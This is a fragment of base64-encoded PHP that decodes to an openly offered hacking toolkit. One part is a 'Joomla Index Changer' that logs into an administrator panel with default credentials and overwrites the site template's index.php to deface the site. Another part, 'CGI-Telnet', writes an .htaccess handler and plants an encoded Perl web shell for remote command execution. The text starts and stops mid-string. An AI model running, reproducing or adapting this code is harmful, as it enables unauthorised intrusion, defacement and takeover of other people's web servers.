VJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQoNCg0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokcmV0dXJuPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZXR1cm4iIHZhbHVlPSInLCciJyk7DQokaGlkZGVuPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsNCk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsInVzZXJuYW1lPWFkbWluJnBhc3N3ZD0xMjM0NTY3ODkmb3B0aW9uPWNvbV9sb2dpbiZ0YXNrPWxvZ2luJnJldHVybj0iLiRyZXR1cm4uIiYiLiRoaWRkZW4uIj0xIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwiY29tX2NvbmZpZyIpOw0KaWYoJHBvcyA9PT0gZmFsc2UpIHsNCmVjaG8oIjxicj5bLV0gTG9naW4gRXJyb3IiKTsNCmV4aXQ7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bfl0gTG9naW4gU3VjY2Vzc2Z1bCIpOw0KfQ0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmdGFzaz1zb3VyY2UuZWRpdCZpZD0iLmJhc2U2NF9lbmNvZGUoJHRlbXBsYXRlX2lkLiI6aW5kZXgucGhwIik7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJGhpZGRlbjI9ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IicsJyIgdmFsdWU9IjEiJywyKTsNCmlmKCRoaWRkZW4yKSB7DQplY2hvKCI8YnI+WytdIGluZGV4LnBocCBmaWxlIGZvdW5kZWQgaW4gVGhlbWUgRWRpdG9yIik7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bLV0gaW5kZXgucGhwIE5vdCBmb3VuZCBpbiBUaGVtZSBFZGl0b3IiKTsNCmV4aXQ7DQp9DQplY2hvKCI8YnI+WypdIFVwZGF0aW5nIEluZGV4LnBocCAuLi4uLiIpOw0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJmxheW91dD1lZGl0IjsNCg0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywiamZvcm1bc291cmNlXT0iLiRoLiImamZvcm1bZmlsZW5hbWVdPWluZGV4LnBocCZqZm9ybVtleHRlbnNpb25faWRdPSIuJHRlbXBsYXRlX2lkLiImIi4kaGlkZGVuMi4iPTEmdGFzaz1zb3VyY2Uuc2F2ZSIpOw0KDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRkIGNsYXNzPSJtZXNzYWdlIG1lc3NhZ2UiPicpOw0KaWYoJHBvcyA9PT0gZmFsc2UpIHsNCmVjaG8oIjxicj5bLV0gVXBkYXRpbmcgSW5kZXgucGhwIEVycm9yIik7DQpleGl0Ow0KfQ0KZWxzZSB7DQplY2hvKCI8YnI+W35dIGluZGV4LnBocCBzdWNjZXNzZnVsbHkgc2F2ZWQiKTsNCn0NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjICAgICAgVjEuNiAgRU5EICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KDQp9DQplbHNlDQp7DQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjICAgICAgVjEuNSAgICAgICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCgkJIA0KJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4idGVtcGxhdGVzX21lbnVgIFdIRVJFIGNsaWVudF9pZD0nMCciKTsNCgkgJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCiR0ZW1wbGF0ZV9uYW1lPSRkYXRhWyJ0ZW1wbGF0ZSJdOw0KDQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHAiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJGhpZGRlbj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDMpOw0KDQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHAiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywidXNlcm5hbWU9YWRtaW4mcGFzc3dkPTEyMzQ1Njc4OSZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mIi4kaGlkZGVuLiI9MSIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsImNvbV9jb25maWciKTsNCg0KaWYoJHBvcyA9PT0gZmFsc2UpIHsNCmVjaG8oIjxicj5bLV0gTG9naW4gRXJyb3IiKTsNCmV4aXQ7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bK10gTG9naW4gU3VjY2Vzc2Z1bCIpOw0KfQ0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmdGFzaz1lZGl0X3NvdXJjZSZjbGllbnQ9MCZpZD0iLiR0ZW1wbGF0ZV9uYW1lOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJGhpZGRlbjI9ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IicsJyIgdmFsdWU9IjEiJyw2KTsNCg0KaWYoJGhpZGRlbjIpIHsNCmVjaG8oIjxicj5bfl0gaW5kZXgucGhwIGZpbGUgZm91bmRlZCBpbiBUaGVtZSBFZGl0b3IiKTsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlstXSBpbmRleC5waHAgTm90IGZvdW5kIGluIFRoZW1lIEVkaXRvciIpOw0KfQ0KDQplY2hvKCI8YnI+WypdIFVwZGF0aW5nIEluZGV4LnBocCAuLi4uLiIpOw0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJmxheW91dD1lZGl0IjsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsImZpbGVjb250ZW50PSIuJGguIiZpZD0iLiR0ZW1wbGF0ZV9uYW1lLiImY2lkW109Ii4kdGVtcGxhdGVfbmFtZS4iJiIuJGhpZGRlbjIuIj0xJnRhc2s9c2F2ZV9zb3VyY2UmY2xpZW50PTAiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsJzxkZCBjbGFzcz0ibWVzc2FnZSBtZXNzYWdlIGZhZGUiPicpOw0KaWYoJHBvcyA9PT0gZmFsc2UpIHsNCmVjaG8oIjxicj5bLV0gVXBkYXRpbmcgSW5kZXgucGhwIEVycm9yIik7DQpleGl0Ow0KfQ0KZWxzZSB7DQplY2hvKCI8YnI+W35dIGluZGV4LnBocCBzdWNjZXNzZnVsbHkgc2F2ZWQiKTsNCn0NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjICAgICAgVjEuNSAgRU5EICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KfQ0KDQp9DQoNCg0KZnVuY3Rpb24gcmFuZG9tdCgpIHsgDQoNCiAgICAkY2hhcnMgPSAiYWJjZGVmZ2hpamttbm9wcXJzdHV2d3h5ejAyMzQ1Njc4OSI7IA0KICAgIHNyYW5kKChkb3VibGUpbWljcm90aW1lKCkqMTAwMDAwMCk7IA0KICAgICRpID0gMDsgDQogICAgJHBhc3MgPSAnJyA7IA0KDQogICAgd2hpbGUgKCRpIDw9IDcpIHsgDQogICAgICAgICRudW0gPSByYW5kKCkgJSAzMzsgDQogICAgICAgICR0bXAgPSBzdWJzdHIoJGNoYXJzLCAkbnVtLCAxKTsgDQogICAgICAgICRwYXNzID0gJHBhc3MgLiAkdG1wOyANCiAgICAgICAgJGkrKzsgDQogICAgfSANCg0KICAgIHJldHVybiAkcGFzczsgDQoNCn0NCg0KZnVuY3Rpb24gZW50cmUydjIoJHRleHQsJG1hcnF1ZXVyRGVidXRMaWVuLCRtYXJxdWV1ckZpbkxpZW4sJGk9MSkNCg0Kew0KDQokYXIwPWV4cGxvZGUoJG1hcnF1ZXVyRGVidXRMaWVuLCAkdGV4dCk7DQokYXIxPWV4cGxvZGUoJG1hcnF1ZXVyRmluTGllbiwgJGFyMFskaV0pOw0KJGFyPXRyaW0oJGFyMVswXSk7DQpyZXR1cm4gJGFyOw0KfQ0KZWNobyAiDQpcbiI7IA0KZWNobyAiPHRpdGxlPkpvb21sYSBJbmRleCBDaGFuZ2VyIGMwZGVkIEJ5IDogUmV0bk9IYWNLICNQcm9jb2Rlcid6IFRlYW0gQWxiYW5pYW48L3RpdGxlPiANClxuIjsgDQplY2hvICINClxuIjsgDQplY2hvICI8Y2VudGVyPjx0YWJsZSBjbGFzcz10YWJuZXQ+PHRyPg0KXG4iOyANCmVjaG8gIjxicj48YnI+PGI+PGZvbnQgY29sb3I9XCJncmVlblwiIHNpemU9Jys0Jz4gLT1bIEpvb21sYSBJbmRleCBDaGFuZ2VyIF09LSA8L2ZvbnQ+PC9iPjxicj4NClxuIjsNCmVjaG8gIg0KXG4iOyAgDQplY2hvICI8Rk9STSBhY3Rpb249XCJcIiAgbWV0aG9kPVwicG9zdFwiPg0KXG4iOyANCmVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImZvcm1fYWN0aW9uXCIgdmFsdWU9XCIyXCI+DQpcbiI7IA0KZWNobyAiPHRhYmxlIGNsYXNzPVwidGFibmV0XCI+DQpcbiI7IA0KZWNobyAiPHRoIGNvbHNwYW49XCIyXCI+Sm9vbWxhIEluZGV4IENoYW5nZXI8L3RoPg0KXG4iOyANCmVjaG8gIjx0cj48dGQ+ZGJfcHJlZml4IDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgbmFtZT1cImRiX3ByZWZpeFwiIHZhbHVlPVwiam9zX1wiPjwvdGQ+PC90cj4NClxuIjsgDQplY2hvICI8dHI+PHRkPmRiX3VzZXJuYW1lIDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgbmFtZT1cImRiX3VzZXJuYW1lXCIgdmFsdWU9XCJcIj48L3RkPjwvdHI+DQpcbiI7IA0KZWNobyAiPHRyPjx0ZD5kYl9wYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgbmFtZT1cImRiX3Bhc3N3b3JkXCIgdmFsdWU9XCJcIj48L3RkPjwvdHI+DQpcbiI7IA0KZWNobyAiPHRyPjx0ZD5kYl9uYW1lPC90ZD48dGQ+PGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiBuYW1lPVwiZGJfbmFtZVwiIHZhbHVlPVwiXCI+PC90ZD48L3RyPg0KXG4iOyANCmVjaG8gIjx0cj48dGQ+QWRtaW4gQ29udHJvbCBwYW5lbCB1cmw8L3RkPjx0ZD48aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwiIHNpemU9XCI2MFwiIG5hbWU9XCJzaXRlX3VybFwiIHZhbHVlPVwiaHR0cDovL3NpdGUuY29tL2FkbWluaXN0cmF0b3IvXCI+PC90ZD48L3RyPg0KXG4iOyANCmVjaG8gIjwvdHI+DQpcbiI7IA0KZWNobyAiPHRoIGNvbHNwYW49XCIyXCI+WW91ciBJbmRleCBDb2RlPC90aD48L3RhYmxlPjx0YWJsZSBjbGFzcz1cInRhYm5ldFwiPg0KXG4iOyANCmVjaG8gIjxURVhUQVJFQSByb3dzPVwiMTNcIiBzdHlsZT1cImJhY2tncm91bmQ6YmxhY2tcIiBib3JkZXI9XCIxXCIgY29scz1cIjgyXCIgbmFtZT1cImNvZGVcIj50YW5rcyB0byBQcm9jb2RlcnogVGVhbSBBbGJhbmlhbiwgZnJvbSB4JzFuNzNjdDwvVEVYVEFSRUE+PGJyPg0KXG4iOyANCmVjaG8gIjxJTlBVVCBjbGFzcz1cImlucHV0emJ1dFwiY2xhc3M9c3VibWl0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIlNldHRpbmdcIiBuYW1lPVwiU3VibWl0XCI+DQpcbiI7IA0KZWNobyAiPC9GT1JNPjwvdGFibGU+DQpcbiI7IA0KZWNobyAiIA0KXG4iOw0KDQp9DQogLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQogDQogZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdjZ2kyMDEyJykpIHsgDQogZWNobyAiPGNlbnRlci8+PGJyLz48Yj4NCiArLS09PVsgQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyBdPT0tLSsgDQogPC9iPjxicj48YnI+IjsNCiANCiANCiAgICBta2RpcignY2dpMjAxMicsIDA3NTUpOw0KICAgIGNoZGlyKCdjZ2kyMDEyJyk7DQogICAgICAgICRrb2tkb3N5YSA9ICIuaHRhY2Nlc3MiOw0KICAgICAgICAkZG9zeWFfYWRpID0gIiRrb2tkb3N5YSI7DQogICAgICAgICRkb3N5YSA9IGZvcGVuICgkZG9zeWFfYWRpICwgJ3cnKSBvciBkaWUgKCJEb3N5YSBhJiMyMzE7JiMzMDU7bGFtYWQmIzMwNTshIik7DQogICAgICAgICRtZXRpbiA9ICJBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLml6byI7ICAgIA0KICAgICAgICBmd3JpdGUgKCAkZG9zeWEgLCAkbWV0aW4gKSA7DQogICAgICAgIGZjbG9zZSAoJGRvc3lhKTsNCiRjZ2kyMDEyID0gJ0l5RXZkWE55TDJKcGJpOXdaWEpzSUMxSkwzVnpjaTlzYjJOaGJDOWlZVzVrYldsdUNuVnpaU0JOU1UxRk9qcENZWE5sTmpRN0NpUldaWEp6YVc5dVBTQWlRMGRKTFZSbGJHNWxkQ0JXWlhKemFXOXVJREV1TXlJN0NpUkZaR2wwVUdWeWMybHZiajBpUEdadmJuUWdjM1I1YkdVOUozUmxlSFF0YzJoaFpHOTNPaUF3Y0hnZ01IQjRJRFp3ZUNCeVoySW9NalUxTENBd0xDQXdLU3dnTUhCNElEQndlQ0ExY0hnZ2NtZGlLRE13TUN3Z01Dd2dNQ2tzSURCd2VDQXdjSGdnTlhCNElISm5ZaWd6TURBc0lEQXNJREFwT3lCamIyeHZjam9qWm1abVptWm1PeUJtYjI1MExYZGxhV2RvZERwaWIyeGtPeWMrWWpNM05Hc2dMU0JEUjBrdFZHVnNibVYwUEM5bWIyNTBQaUk3Q2dva1VHRnpjM2R2Y21RZ1BTQWlZbUZ1WkhWdVoydHZkR0Z6WVcxd1lXZ2lPd2tKQ1NNZ1EyaGhibWRsSUhSb2FYTXVJRmx2ZFNCM2FXeHNJRzVsWldRZ2RHOGdaVzUwWlhJZ2RHaHBjd29KQ1FrSkl5QjBieUJzYjJkcGJpNEtjM1ZpSUVselgxZHBiaWdwZXdvSkpHOXpJRDBnSm5SeWFXMG9KRVZPVm5zaVUwVlNWa1ZTWDFOUFJsUlhRVkpGSW4wcE93b0phV1lvSkc5eklEMStJRzB2ZDJsdUwya3Bld29KQ1hKbGRIVnliaUF4T3dvSmZRb0paV3h6WlhzS0NRbHlaWFIxY200Z01Ec0tDWDBLZlFva1YybHVUbFFnUFNBbVNYTmZWMmx1S0NrN0NRa0pDU01nV1c5MUlHNWxaV1FnZEc4Z1kyaGhibWRsSUhSb1pTQjJZV3gxWlNCdlppQjBhR2x6SUhSdklERWdhV1lLQ1FrSkNRa0pDUWtqSUhsdmRTZHlaU0J5ZFc1dWFXNW5JSFJvYVhNZ2MyTnlhWEIwSUc5dUlHRWdWMmx1Wkc5M2N5Qk9WQW9KQ1FrSkNRa0pDU01nYldGamFHbHVaUzRnU1dZZ2VXOTFKM0psSUhKMWJtNXBibWNnYVhRZ2IyNGdWVzVwZUN3Z2VXOTFDZ2tKQ1FrSkNRa0pJeUJqWVc0Z2JHVmhkbVVnZEdobElIWmhiSFZsSUdGeklHbDBJR2x6TGdvS0pFNVVRMjFrVTJWd0lEMGdJaVlpT3drSkNRa2pJRlJvYVhNZ1kyaGhjbUZqZEdWeUlHbHpJSFZ6WldRZ2RHOGdjMlZ3WlhKaGRHVWdNaUJqYjIxdFlXNWtjd29KQ1FrSkNRa0pDU01nYVc0Z1lTQmpiMjF0WVc1a0lHeHBibVVnYjI0Z1YybHVaRzkzY3lCT1ZDNEtDaVJWYm1sNFEyMWtVMlZ3SUQwZ0lqc2lPd2tKQ1FraklGUm9hWE1nWTJoaGNtRmpkR1Z5SUdseklIVnpaV1FnZEc4Z2MyVndaWEpoZEdVZ01pQmpiMjF0WVc1a2N3b0pDUWtKQ1FrSkNTTWdhVzRnWVNCamIyMXRZVzVrSUd4cGJtVWdiMjRnVlc1cGVDNEtDaVJEYjIxdFlXNWtWR2x0Wlc5MWRFUjFjbUYwYVc5dUlEMGdNVEF3TURBN0NTTWdWR2x0WlNCcGJpQnpaV052Ym1SeklHRm1kR1Z5SUdOdmJXMWhibVJ6SUhkcGJHd2dZbVVnYTJsc2JHVmtDZ2tKQ1FrSkNRa0pJeUJFYjI0bmRDQnpaWFFnZEdocGN5QjBieUJoSUhabGNua2diR0Z5WjJVZ2RtRnNkV1V1SUZSb2FYTWdhWE1LQ1FrSkNRa0pDUWtqSUhWelpXWjFiQ0JtYjNJZ1kyOXRiV0Z1WkhNZ2RHaGhkQ0J0WVhrZ2FHRnVaeUJ2Y2lCMGFHRjBDZ2tKQ1FrSkNRa0pJeUIwWVd0bElIWmxjbmtnYkc5dVp5QjBieUJsZUdWamRYUmxMQ0JzYVd0bElDSm1hVzVrSUM4aUxnb0pDUWtKQ1FrSkNTTWdWR2hwY3lCcGN5QjJZV3hwWkNCdmJteDVJRzl1SUZWdWFYZ2djMlZ5ZG1WeWN5NGdTWFFnYVhNS0NRa0pDUWtKQ1FraklHbG5ibTl5WldRZ2IyNGdUbFFnVTJWeWRtVnljeTRLQ2lSVGFHOTNSSGx1WVcxcFkwOTFkSEIxZENBOUlERTdDUWtKSXlCSlppQjBhR2x6SUdseklERXNJSFJvWlc0Z1pHRjBZU0JwY3lCelpXNTBJSFJ2SUhSb1pRb0pDUWtKQ1FrSkNTTWdZbkp2ZDNObGNpQmhjeUJ6YjI5dUlHRnpJR2wwSUdseklHOTFkSEIxZEN3Z2IzUm9aWEozYVhObENna0pDUWtKQ1FrSkl5QnBkQ0JwY3lCaWRXWm1aWEpsWkNCaGJtUWdjMlZ1WkNCM2FHVnVJSFJvWlNCamIyMXRZVzVrQ2drSkNRa0pDUWtKSXlCamIyMXdiR1YwWlhNdUlGUm9hWE1nYVhNZ2RYTmxablZzSUdadmNpQmpiMjF0WVc1a2N5QnNhV3RsQ2drSkNRa0pDUWtKSXlCd2FXNW5MQ0J6YnlCMGFHRjBJSGx2ZFNCallXNGdjMlZsSUhSb1pTQnZkWFJ3ZFhRZ1lYTWdhWFFLQ1FrSkNRa0pDUWtqSUdseklHSmxhVzVuSUdkbGJtVnlZWFJsWkM0S0NpTWdSRTlPSjFRZ1EwaEJUa2RGSUVGT1dWUklTVTVISUVKRlRFOVhJRlJJU1ZNZ1RFbE9SU0JWVGt4RlUxTWdXVTlWSUV0T1QxY2dWMGhCVkNCWlQxVW5Va1VnUkU5SlRrY2dJU0VLQ2lSRGJXUlRaWEFnUFNBb0pGZHBiazVVSUQ4Z0pFNVVRMjFrVTJWd0lEb2dKRlZ1YVhoRGJXUlRaWEFwT3dva1EyMWtVSGRrSUQwZ0tDUlhhVzVPVkNBL0lDSmpaQ0lnT2lBaWNIZGtJaWs3Q2lSUVlYUm9VMlZ3SUQwZ0tDUlhhVzVPVkNBL0lDSmNYQ0lnT2lBaUx5SXBPd29rVW1Wa2FYSmxZM1J2Y2lBOUlDZ2tWMmx1VGxRZ1B5QWlJREkrSmpFZ01UNG1NaUlnT2lBaUlERStKakVnTWo0bU1TSXBPd29rWTI5c2N6MGdNVFV3T3dva2NtOTNjejBnTWpZN0NpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QlNaV0ZrY3lCMGFHVWdhVzV3Z